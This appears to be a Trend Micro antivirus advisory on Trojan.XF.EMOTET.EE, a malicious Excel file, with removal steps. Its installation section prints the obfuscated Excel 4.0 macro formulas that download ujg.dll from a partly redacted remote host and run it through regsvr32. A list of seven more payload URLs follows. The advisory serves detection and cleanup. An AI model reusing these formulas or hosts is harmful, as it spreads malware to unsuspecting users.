Trojan.XF.EMOTET.EE
HEUR:Trojan.MSOffice.Generic (KASPERSKY)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
50,012 bytes
XLS
No
27 Mar 2023
Drops files, Connects to URLs/IPs, Modifies system registry
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan inserts malicious macro code in an Office application base template to execute the following commands:
- =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://{BLOCKED}ourbg.com/mail/TBCGVNzLeENXb/ujg.dll ",0,0)
- =EXEC("%Windows%\SysWow64\re"&"gs"&"v"&"r3"&"2.e"&"x"&"e -s..\ujg.dll")
Dropping Routine
This Trojan drops the following files:
- %User Profile%\ujg.dll
- %User Profile%\YEFGVF95\3a4uoSOec70pNOT1wMHzQXgn[1].dll
- %User Profile%\AppData\Roaming\Microsoft\Windows\Cookies\{User Name}@alinac[1].txt
- %User Profile%\Recent\76cb29bdb43a9b207d17bec6f82ae429a575c40f.xls.LNK
- %User Profile%\Excel\~arC519.xar
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- https://{BLOCKED}ourbg.com/mail/TBCGVNzLeNXb/ujg.dll
- http://{BLOCKED}c.ca/images/Lp6yKplpRf6/ujg.dll
- http://www.{BLOCKED}aklimanemlak.com/system/T8nE1jfQ7W/ujg.dll
- http://{BLOCKED}st.com/assets/c8AT1uoCVLSxez/ujg.dll
- http://{BLOCKED}ari.co.uk/alsanjari.com/CynW/ujg.dll
- http://{BLOCKED}ui.com/pics/fETgjDyPfUBQp/ujg.dll
- http://{BLOCKED}es.my.id/cgi-bin/uFqdwCqAP7mro/ujg.dll
Other Details
This Trojan adds the following registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll\Regular
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll
LogSessionName = stdout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll
Active = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll
ControlFlags = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Tracing\
Microsoft.SmartScreen.dll
Regular Guid data = {7e4b70ee-8296-4f0f-a3ba-f58ef6bb4e96}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Office\12.0\Excel\
Resiliency\DocumentRecovery
{3E64AD} = {04 00 00 00 f0 06}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Office\12.0\Excel\
Resiliency\DocumentRecovery\{48CB2D}
It uses regsvr32.exe to register malicious DLLs:
- %User Profile%\ujg.dll ← {Main Payload}
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
SOLUTION
9.800
18.346.04
27 Mar 2023
18.347.00
28 Mar 2023
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\
- Microsoft.SmartScreen.dll
- Microsoft.SmartScreen.dll
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Excel\Resiliency\DocumentRecovery\
- 48CB2D
- 48CB2D
Step 4
Search and delete these files
- %Users%\{User Name}\ujg.dll
- %Users%\YEFGVF95\3a4uoSOec70pNOT1wMHzQXgn[1].dll
- %Users%\Cookies\{User Name}@alinac[1].txt
- %Users%\Recent\76cb29bdb43a9b207d17bec6f82ae429a575c40f.xls.LNK
- %Users%\Excel\~arC519.xar
Step 5
Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.EE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.